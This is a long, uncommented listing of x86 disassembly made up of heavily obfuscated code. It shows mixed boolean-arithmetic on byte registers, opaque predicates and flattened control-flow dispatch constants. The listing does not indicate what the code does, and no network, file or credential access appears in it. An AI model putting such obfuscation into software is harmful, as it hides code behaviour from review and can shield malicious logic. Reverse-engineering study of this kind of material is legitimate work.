xor al, 1
mov cl, 1
xor cl, 0
or ah, al
mov al, byte [ebp - 0x1bc54]
or cl, 0
xor ah, 0xff
and ah, cl
mov cl, byte [ebp - 0x1bc4c]
mov byte [ebp - 0x1bc4d], ah
xor cl, 0xff
mov ah, bh
xor ah, cl
mov cl, byte [ebp - 0x1bc53]
and ah, bh
mov byte [ebp - 0x1bc50], ah
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x1bc4f], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x1bc4e], cl
mov ah, bh
and ah, 0
and al, cl
mov cl, byte [ebp - 0x1bc53]
mov byte [ebp - 0x1bc52], al
mov al, byte [ebp - 0x1bc4f]
and al, 0
mov byte [ebp - 0x1bc51], al
mov al, byte [ebp - 0x1bc4e]
and cl, al
mov al, byte [ebp - 0x1bc52]
or ah, al
mov al, byte [ebp - 0x1bc51]
or al, cl
mov cl, byte [ebp - 0x1bc50]
xor ah, al
mov al, byte [ebp - 0x1bc4f]
or bh, al
mov al, byte [ebp - 0x1bc4e]
xor bh, 0xff
or al, 0
and bh, al
mov al, byte [ebp - 0x1bc4d]
or ah, bh
mov bh, al
and bh, cl
xor al, cl
mov cl, byte [ebp - 0x1bc4c]
or bh, al
mov byte [ebp - 0x1bc4b], bh
mov al, ah
xor al, 0xff
and bh, al
mov al, byte [ebp - 0x1bc4b]
xor al, 0xff
and ah, al
mov al, byte [ebp - 0x1bc4a]
or bh, ah
mov ah, al
and ah, ch
xor al, ch
or ah, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
or al, ah
mov byte [ebp - 0x1bc45], al
mov ah, 1
xor ah, 1
mov byte [ebp - 0x1bc46], ah
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1bc47], al
mov ch, 1
xor ch, 0
and ah, 0
mov al, ch
and al, 1
mov byte [ebp - 0x1bc49], al
mov al, byte [ebp - 0x1bc47]
and al, 0
mov byte [ebp - 0x1bc48], al
mov al, byte [ebp - 0x1bc49]
and cl, ch
or ah, al
mov al, byte [ebp - 0x1bc48]
or al, cl
mov cl, byte [ebp - 0x1bc47]
xor ah, al
mov al, byte [ebp - 0x1bc46]
or al, cl
mov cl, byte [ebp - 0x1bc45]
xor al, 0xff
or ch, 0
and al, ch
or ah, al
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0x1bc42], ah
mov ch, al
xor ch, 0xff
mov cl, 1
xor cl, 0
and ah, 0
and bh, cl
mov byte [ebp - 0x1bc44], bh
mov bh, ch
and bh, 0
and al, cl
mov byte [ebp - 0x1bc43], al
mov al, byte [ebp - 0x1bc44]
or ah, al
mov al, byte [ebp - 0x1bc43]
or bh, al
mov al, byte [ebp - 0x1bc42]
xor ah, bh
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov cl, dh
and cl, ch
or al, cl
mov byte [ebp - 0x1bc32], al
mov bh, bl
xor bh, 0xff
and bh, 0
mov ch, 1
xor ch, 0
mov al, bl
and al, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or bh, al
mov al, byte [ebp - 0x1bc32]
or cl, ch
xor bh, cl
mov ch, 1
xor ch, 0
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0
or ch, cl
mov cl, 1
xor cl, 0
xor al, cl
mov cl, byte [ebp - 0x1bc32]
and al, cl
mov byte [ebp - 0x1bc41], al
mov al, ch
xor al, 0xff
mov cl, dh
xor cl, al
mov al, byte [ebp - 0x1bc41]
and cl, dh
mov byte [ebp - 0x1bc40], cl
mov dh, 1
xor dh, 0
mov cl, bh
xor cl, dh
and cl, bh
mov byte [ebp - 0x1bc3b], cl
mov cl, ch
xor cl, 0xff
mov dh, bl
xor dh, cl
mov cl, byte [ebp - 0x1bc40]
and dh, bl
mov byte [ebp - 0x1bc3a], dh
mov bl, al
xor bl, 0xff
xor cl, 0xff
mov byte [ebp - 0x1bc3c], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x1bc3d], cl
mov dh, bl
and dh, 0xff
and al, cl
mov cl, byte [ebp - 0x1bc40]
mov byte [ebp - 0x1bc3f], al
mov al, byte [ebp - 0x1bc3c]
and al, 0xff
mov byte [ebp - 0x1bc3e], al
mov al, byte [ebp - 0x1bc3d]
and cl, al
mov al, byte [ebp - 0x1bc3f]
or dh, al
mov al, byte [ebp - 0x1bc3e]
or al, cl
mov cl, byte [ebp - 0x1bc3d]
xor dh, al
mov al, byte [ebp - 0x1bc3c]
or bl, al
mov al, byte [ebp - 0x1bc3b]
xor bl, 0xff
or cl, 1
and bl, cl
mov cl, byte [ebp - 0x1bc3a]
or dh, bl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x1bc36], bl
xor cl, 0xff
mov byte [ebp - 0x1bc37], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x1bc35], cl
and bl, 0xff
and al, cl
mov cl, byte [ebp - 0x1bc3a]
mov byte [ebp - 0x1bc39], al
mov al, byte [ebp - 0x1bc37]
and al, 0xff
mov byte [ebp - 0x1bc38], al
mov al, byte [ebp - 0x1bc35]
and cl, al
mov al, byte [ebp - 0x1bc39]
or bl, al
mov al, byte [ebp - 0x1bc38]
or al, cl
mov cl, byte [ebp - 0x1bc37]
xor bl, al
mov al, byte [ebp - 0x1bc36]
or al, cl
mov cl, byte [ebp - 0x1bc35]
xor al, 0xff
or cl, 1
and al, cl
mov cl, byte [ebp - 0x1bc34]
or bl, al
mov byte [ebp - 0x1bc33], bl
mov al, dh
xor al, 0xff
and bl, al
mov al, byte [ebp - 0x1bc33]
xor al, 0xff
and dh, al
mov al, byte [ebp - 0x1bc32]
or bl, dh
mov dh, al
and dh, bh
xor al, bh
or dh, al
mov al, dh
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and dh, bh
or al, dh
mov dh, ch
and dh, 0
xor ch, 0
or dh, ch
xor al, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or al, dh
or ch, 0
xor al, 0xff
and al, ch
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0x1bc2f], bh
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
and bh, 0
and bl, ch
mov byte [ebp - 0x1bc31], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0x1bc30], al
mov al, byte [ebp - 0x1bc31]
or bh, al
mov al, byte [ebp - 0x1bc30]
or bl, al
mov al, byte [ebp - 0x1bc2f]
xor bh, bl
or al, dh
xor al, 0xff
or ch, 0
and al, ch
or bh, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov bl, ah
and bl, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dh, bl
or al, ch
xor dh, al
mov al, bh
xor al, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 1
or al, dh
or ch, 1
xor al, 0xff
and al, ch
mov ch, bh
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or ch, bh
or dh, bl
xor ch, dh
xor ch, 0xff
mov bh, ah
xor bh, ch
and bh, ah
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x1bc2e], dh
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
and dh, 0xff
and al, ah
mov bl, ch
and bl, 0xff
and bh, ah
or dh, al
mov al, byte [ebp - 0x1bc2e]
or bl, bh
xor dh, bl
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or dh, al
mov al, cl
xor al, 0xff
mov ch, dl
xor ch, 0xff
mov ah, 1
xor ah, 1
or al, ch
or ah, 1
xor al, 0xff
and al, ah
mov ah, cl
xor ah, 0xff
mov bh, dl
and bh, ah
xor dl, 0xff
and cl, dl
or bh, cl
mov cl, al
xor cl, 0xff
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 0
mov bl, cl
and bl, 0
and al, dl
mov ch, ah
and ch, 0
and bh, dl
or bl, al
mov al, byte [ebp - 0x1bc2d]
or ch, bh
xor bl, ch
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or bl, cl
mov dl, bl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov cl, bl
and cl, ah
or dl, cl
mov ah, 1
xor ah, 0
xor dl, 0xff
mov cl, 1
xor cl, 0
or ah, dl
or cl, 0
xor ah, 0xff
and ah, cl
mov dl, 1
xor dl, 0
and dl, 0
mov ch, 1
xor ch, 0
mov bh, ch
and bh, 0
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or dl, bh
or cl, ch
xor dl, cl
xor bl, 0xff
mov ch, dl
xor ch, 0xff
mov cl, 1
xor cl, 0
or bl, ch
or cl, 0
xor bl, 0xff
and bl, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
and ch, 1
or cl, ch
xor cl, 0xff
mov bh, 1
xor bh, 0
mov ch, 1
xor ch, 1
or cl, bh
or ch, 1
xor cl, 0xff
and cl, ch
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov ch, ah
and ch, bl
xor ah, bl
or ch, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dl, ch
xor dl, 0xff
and dl, 0
mov bl, 1
xor bl, 0
and ch, bl
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, bl
or dl, ch
or cl, ah
xor dl, cl
mov cl, 1
xor cl, 0
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov ch, 1
xor ch, 0
mov ah, al
and ah, ch
xor al, 0xff
and al, 0
or ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dl, ah
or cl, dl
mov bl, al
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
and al, dl
or bl, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1bc2c], al
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 1
and al, 0xff
and cl, dl
mov ch, ah
and ch, 0xff
and bl, dl
or al, cl
mov cl, byte [ebp - 0x1bc2c]
or ch, bl
xor al, ch
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x1bc2b], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
mov al, ah
and al, 0
mov bl, ch
and bl, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x1bc2b]
or bl, bh
xor cl, bl
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov ch, al
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and al, dl
or ch, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or dl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or ah, al
mov bl, 1
xor bl, 0
and bl, 0
mov cl, 1
xor cl, 0
mov bh, cl
and bh, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, bh
or al, cl
xor bl, al
mov byte [ebp - 0x1bc28], bl
mov cl, 1
xor cl, 0
mov al, dl
xor al, cl
and al, dl
xor bl, 0xff
mov cl, dh
xor cl, bl
and cl, dh
mov bl, ah
xor bl, 0xff
mov dh, 1
xor dh, 0
mov bh, 1
xor bh, 1
or bl, dh
mov dh, byte [ebp - 0x1bc28]
or bh, 1
xor bl, 0xff
and bl, bh
mov byte [ebp - 0x1bc26], bl
xor dh, 0xff
mov bl, ch
xor bl, dh
and bl, ch
mov dh, al
xor dh, 0xff
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x1bc27], ch
mov bh, 1
xor bh, 0
mov ch, dh
and ch, 0
and al, bh
mov byte [ebp - 0x1bc2a], al
mov al, byte [ebp - 0x1bc27]
and al, 0
mov byte [ebp - 0x1bc29], al
mov al, byte [ebp - 0x1bc2a]
and cl, bh
or ch, al
mov al, byte [ebp - 0x1bc29]
or al, cl
mov cl, byte [ebp - 0x1bc28]
xor ch, al
mov al, byte [ebp - 0x1bc27]
or dh, al
mov al, byte [ebp - 0x1bc26]
xor dh, 0xff
or bh, 0
and dh, bh
or ch, dh
mov dh, al
and dh, bl
xor al, bl
or dh, al
mov bl, ch
xor bl, 0xff
mov al, dh
and al, bl
xor dh, 0xff
and ch, dh
or al, ch
mov dh, dl
and dh, ah
xor dl, ah
or dh, dl
mov dl, dh
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
mov ah, cl
and ah, 0
xor cl, 0
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1d9785c9
mov ecx, 0xfdbedd0f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov dword [ebp - 0x1b7b0], 0xa7dae51c
jmp 0x4b3015
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
xor edx, edx
sub edx, 0x1bbfa6d3
sub edx, 0xe8761c3e
add edx, 0x1bbfa6d3
xor esi, esi
sub esi, 1
add edx, esi
sub edx, 0x5dfdc7aa
add edx, 0xe8761c3e
add edx, 0x5dfdc7aa
xor esi, esi
sub esi, 0xee1354e6
sub esi, edx
add esi, 0xee1354e6
mov edx, ecx
add edx, 0x8403e0bc
sub edx, esi
sub edx, 0x8403e0bc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl ah
mov ch, cl
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or ch, al
mov dl, 1
xor dl, 1
xor ch, 0xff
mov al, 1
xor al, 0
or dl, ch
or al, 0
xor dl, 0xff
and dl, al
mov dh, 1
xor dh, 1
and dh, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dh, bl
or al, ch
xor dh, al
mov ch, cl
xor ch, 0xff
xor dh, 0xff
mov al, 1
xor al, 1
or ch, dh
or al, 1
xor ch, 0xff
and ch, al
mov al, dl
and al, ch
xor dl, ch
or al, dl
mov byte [ebp - 0x1bc86], al
mov ch, ah
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
mov dh, ah
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ch, dh
or al, dl
xor ch, al
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov bl, 1
xor bl, 1
and bl, 0
mov dl, 1
xor dl, 0
mov dh, dl
and dh, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bl, dh
or al, dl
xor bl, al
mov dh, ah
xor dh, 0xff
mov dl, bl
xor dl, 0xff
mov al, 1
xor al, 1
or dh, dl
or al, 1
xor dh, 0xff
and dh, al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
mov dl, 1
xor dl, 1
mov bh, al
xor bh, dl
and bh, al
mov al, 1
xor al, 1
xor bl, 0xff
mov dl, 1
xor dl, 0
or al, bl
or dl, 0
xor al, 0xff
and al, dl
mov dl, ch
and dl, dh
xor ch, dh
or dl, ch
mov byte [ebp - 0x1bcbd], dl
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov dl, ch
and dl, 0
and bh, dh
mov byte [ebp - 0x1bcbf], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x1bcbe], al
mov al, byte [ebp - 0x1bcbf]
or dl, al
mov al, byte [ebp - 0x1bcbe]
or bh, al
mov al, byte [ebp - 0x1bcbd]
xor dl, bh
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or dl, ch
mov ch, al
xor ch, 0xff
mov dh, dl
and dh, ch
xor dl, 0xff
and al, dl
or dh, al
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dl, bl
or al, ch
xor dl, al
mov bl, 1
xor bl, 0
xor dl, 0xff
mov al, 1
xor al, 0
or bl, dl
or al, 0
xor bl, 0xff
and bl, al
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
or al, dl
mov dl, al
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov byte [ebp - 0x1bcbc], dl
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
and ch, 1
or dl, ch
xor dl, 0xff
mov bh, 1
xor bh, 0
mov ch, 1
xor ch, 0
or dl, bh
or ch, 0
xor dl, 0xff
and dl, ch
mov bh, 1
xor bh, 1
xor al, 0xff
mov ch, 1
xor ch, 1
or bh, al
mov al, byte [ebp - 0x1bcbc]
or ch, 1
xor bh, 0xff
and bh, ch
mov ch, bl
and ch, al
xor bl, al
mov al, byte [ebp - 0x1bc86]
or ch, bl
mov bl, dl
and bl, bh
xor dl, bh
or bl, dl
mov bh, ch
xor bh, 0xff
mov dl, bl
and dl, bh
xor bl, 0xff
and ch, bl
or dl, ch
mov byte [ebp - 0x1bc76], dl
mov bh, 1
xor bh, 1
and bh, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or bh, bl
or dl, ch
xor bh, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and al, bl
mov ch, bh
xor ch, 0xff
and ch, 0xff
and bh, bl
mov bl, byte [ebp - 0x1bc86]
or dl, al
mov al, byte [ebp - 0x1bc76]
or ch, bh
xor dl, ch
xor dl, 0xff
xor bl, 0xff
mov ch, 1
xor ch, 0
or dl, bl
or ch, 0
xor dl, 0xff
and dl, ch
mov byte [ebp - 0x1bcb0], dl
mov ch, al
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and al, dl
or ch, al
mov al, cl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
mov bl, cl
and bl, bh
mov dl, ch
xor dl, 0xff
and dl, 0
and ch, bh
or al, bl
or dl, ch
xor al, dl
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov al, dh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov bl, dh
and bl, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, bl
or cl, dl
xor al, cl
mov byte [ebp - 0x1bcbb], al
mov cl, 1
xor cl, 1
and cl, 0
mov dl, 1
xor dl, 0
mov bl, dl
and bl, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, bl
or al, dl
xor cl, al
mov dl, 1
xor dl, 0
and dl, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 0
mov bl, 1
xor bl, 1
and bl, 0xff
and bh, 1
or dl, al
mov al, byte [ebp - 0x1bcbb]
or bl, bh
xor dl, bl
mov byte [ebp - 0x1bcb8], dl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x1bcb7], bl
mov bh, cl
xor bh, 0xff
mov dl, 1
xor dl, 0
and bl, 0
and al, dl
mov byte [ebp - 0x1bcba], al
mov al, bh
and al, 0
mov byte [ebp - 0x1bcb9], al
mov al, byte [ebp - 0x1bcba]
and cl, dl
or bl, al
mov al, byte [ebp - 0x1bcb9]
or al, cl
mov cl, byte [ebp - 0x1bcb8]
xor bl, al
mov al, byte [ebp - 0x1bcb7]
or al, bh
xor al, 0xff
or dl, 0
and al, dl
or bl, al
mov dl, 1
xor dl, 0
mov byte [ebp - 0x1bcb3], dl
mov bh, cl
xor bh, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0x1bcb4], al
and dl, 0
and al, 0
mov byte [ebp - 0x1bcb6], al
mov al, bh
and al, 0
mov byte [ebp - 0x1bcb5], al
mov al, byte [ebp - 0x1bcb4]
and cl, al
mov al, byte [ebp - 0x1bcb6]
or dl, al
mov al, byte [ebp - 0x1bcb5]
or al, cl
mov cl, byte [ebp - 0x1bcb4]
xor dl, al
mov al, byte [ebp - 0x1bcb3]
or al, bh
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov cl, bl
xor cl, 0xff
and cl, 0
mov bh, 1
xor bh, 0
and bl, bh
mov al, 1
xor al, 1
and al, 0
and bh, 1
or cl, bl
mov bl, byte [ebp - 0x1bc76]
or al, bh
xor cl, al
xor dl, 0xff
mov al, cl
xor al, dl
and al, cl
mov byte [ebp - 0x1bc9d], al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov dl, bl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and bl, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, bl
or cl, ah
xor dl, cl
mov cl, 1
xor cl, 1
and cl, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and bl, 1
or cl, bh
or ah, bl
xor cl, ah
mov ah, al
and ah, dl
xor al, dl
or ah, al
mov dl, 1
xor dl, 1
mov byte [ebp - 0x1bcaf], dl
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
and dl, 0xff
mov al, bl
and al, 1
mov byte [ebp - 0x1bcb2], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1bcb1], al
mov al, byte [ebp - 0x1bcb2]
and cl, bl
or dl, al
mov al, byte [ebp - 0x1bcb1]
or al, cl
mov cl, byte [ebp - 0x1bcb0]
xor dl, al
mov al, byte [ebp - 0x1bcaf]
or al, bh
xor al, 0xff
or bl, 1
and al, bl
or dl, al
mov al, ah
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and ah, bl
or al, ah
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov al, cl
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
mov bh, cl
and bh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, bh
or dl, ah
xor al, dl
mov byte [ebp - 0x1bca4], al
mov ah, ch
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov bh, ch
and bh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, bh
or al, dl
xor ah, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
mov dl, al
and dl, 1
mov byte [ebp - 0x1bcae], dl
mov dl, 1
xor dl, 1
and dl, 0xff
and al, 1
mov byte [ebp - 0x1bcad], al
mov al, byte [ebp - 0x1bcae]
or bh, al
mov al, byte [ebp - 0x1bcad]
or dl, al
mov al, byte [ebp - 0x1bca4]
xor bh, dl
mov byte [ebp - 0x1bca9], bh
mov dl, 1
xor dl, 1
xor al, dl
mov dl, byte [ebp - 0x1bca4]
and al, dl
xor cl, 0xff
xor bh, 0xff
mov dl, 1
xor dl, 1
or cl, bh
mov bh, byte [ebp - 0x1bca9]
or dl, 1
xor cl, 0xff
and cl, dl
mov byte [ebp - 0x1bcac], cl
mov cl, 1
xor cl, 1
mov dl, ah
xor dl, cl
mov cl, byte [ebp - 0x1bcac]
and dl, ah
mov byte [ebp - 0x1bca6], dl
xor bh, 0xff
mov dl, ch
xor dl, bh
and dl, ch
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x1bca8], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x1bca7], cl
mov ch, bh
and ch, 0xff
and al, cl
mov cl, byte [ebp - 0x1bcac]
mov byte [ebp - 0x1bcab], al
mov al, byte [ebp - 0x1bca8]
and al, 0xff
mov byte [ebp - 0x1bcaa], al
mov al, byte [ebp - 0x1bca7]
and cl, al
mov al, byte [ebp - 0x1bcab]
or ch, al
mov al, byte [ebp - 0x1bcaa]
or al, cl
mov cl, byte [ebp - 0x1bca9]
xor ch, al
mov al, byte [ebp - 0x1bca8]
or bh, al
mov al, byte [ebp - 0x1bca7]
xor bh, 0xff
or al, 1
and bh, al
mov al, byte [ebp - 0x1bca6]
or ch, bh
mov bh, al
and bh, dl
xor al, dl
or bh, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
and ch, al
mov byte [ebp - 0x1bca5], ch
mov ch, bh
xor ch, 0xff
and ch, 0xff
and bh, al
mov al, byte [ebp - 0x1bca5]
or dl, al
mov al, byte [ebp - 0x1bca4]
or ch, bh
xor dl, ch
mov byte [ebp - 0x1bca0], dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dl, ah
or al, dl
mov byte [ebp - 0x1bca1], al
mov ah, 1
xor ah, 1
mov bh, cl
xor bh, 0xff
mov ch, 1
xor ch, 1
mov dl, ah
and dl, 0xff
mov al, ch
and al, 1
mov byte [ebp - 0x1bca3], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1bca2], al
mov al, byte [ebp - 0x1bca3]
and cl, ch
or dl, al
mov al, byte [ebp - 0x1bca2]
or al, cl
mov cl, byte [ebp - 0x1bca1]
xor dl, al
mov al, byte [ebp - 0x1bca0]
or ah, bh
xor ah, 0xff
or ch, 1
and ah, ch
or dl, ah
xor dl, 0xff
mov ch, cl
xor ch, dl
and ch, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x1bc9f], ah
mov dl, ch
xor dl, 0xff
mov cl, 1
xor cl, 0
and ah, 0
and al, cl
mov bh, dl
and bh, 0
and ch, cl
or ah, al
mov al, byte [ebp - 0x1bc9f]
or bh, ch
mov ch, byte [ebp - 0x1bc9d]
xor ah, bh
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and ch, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, ch
or al, cl
xor dl, al
mov ch, bl
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
mov bh, bl
and bh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, bh
or al, cl
xor ch, al
mov al, 1
xor al, 0
and al, 1
mov byte [ebp - 0x1bc9e], al
mov al, 1
xor al, 1
mov cl, al
and cl, 0
mov bh, 1
xor bh, 1
and bh, 0xff
and al, 1
mov byte [ebp - 0x1bc9c], al
mov al, byte [ebp - 0x1bc9e]
or al, cl
mov cl, byte [ebp - 0x1bc9d]
mov byte [ebp - 0x1bc9b], al
mov al, byte [ebp - 0x1bc9c]
or bh, al
mov al, byte [ebp - 0x1bc9b]
xor al, bh
mov byte [ebp - 0x1bc8d], al
mov al, 1
xor al, 0
mov bh, dl
xor bh, al
mov al, byte [ebp - 0x1bc8d]
and bh, dl
mov byte [ebp - 0x1bc9a], bh
xor cl, 0xff
xor al, 0xff
mov bh, 1
xor bh, 1
or cl, al
mov al, byte [ebp - 0x1bc9a]
or bh, 1
xor cl, 0xff
and cl, bh
mov byte [ebp - 0x1bc99], cl
mov cl, 1
xor cl, 0
mov bh, ch
xor bh, cl
mov cl, byte [ebp - 0x1bc8d]
and bh, ch
mov byte [ebp - 0x1bc94], bh
xor bl, 0xff
xor cl, 0xff
mov bh, 1
xor bh, 0
or bl, cl
mov cl, byte [ebp - 0x1bc99]
or bh, 0
xor bl, 0xff
and bl, bh
mov byte [ebp - 0x1bc93], bl
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x1bc95], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x1bc96], cl
mov bl, bh
and bl, 0
and al, cl
mov cl, byte [ebp - 0x1bc99]
mov byte [ebp - 0x1bc98], al
mov al, byte [ebp - 0x1bc95]
and al, 0
mov byte [ebp - 0x1bc97], al
mov al, byte [ebp - 0x1bc96]
and cl, al
mov al, byte [ebp - 0x1bc98]
or bl, al
mov al, byte [ebp - 0x1bc97]
or al, cl
mov cl, byte [ebp - 0x1bc96]
xor bl, al
mov al, byte [ebp - 0x1bc95]
or bh, al
mov al, byte [ebp - 0x1bc94]
xor bh, 0xff
or cl, 0
and bh, cl
mov cl, byte [ebp - 0x1bc93]
or bl, bh
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x1bc8f], bh
xor cl, 0xff
mov byte [ebp - 0x1bc90], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x1bc8e], cl
and bh, 0
and al, cl
mov cl, byte [ebp - 0x1bc93]
mov byte [ebp - 0x1bc92], al
mov al, byte [ebp - 0x1bc90]
and al, 0
mov byte [ebp - 0x1bc91], al
mov al, byte [ebp - 0x1bc8e]
and cl, al
mov al, byte [ebp - 0x1bc92]
or bh, al
mov al, byte [ebp - 0x1bc91]
or al, cl
mov cl, byte [ebp - 0x1bc90]
xor bh, al
mov al, byte [ebp - 0x1bc8f]
or al, cl
mov cl, byte [ebp - 0x1bc8e]
xor al, 0xff
or cl, 0
and al, cl
or bh, al
mov al, bl
xor al, 0xff
mov cl, bh
and cl, al
mov al, byte [ebp - 0x1bc8d]
xor bh, 0xff
and bl, bh
or cl, bl
mov bl, dl
and bl, ch
xor dl, ch
or bl, dl
mov bh, bl
xor bh, 0xff
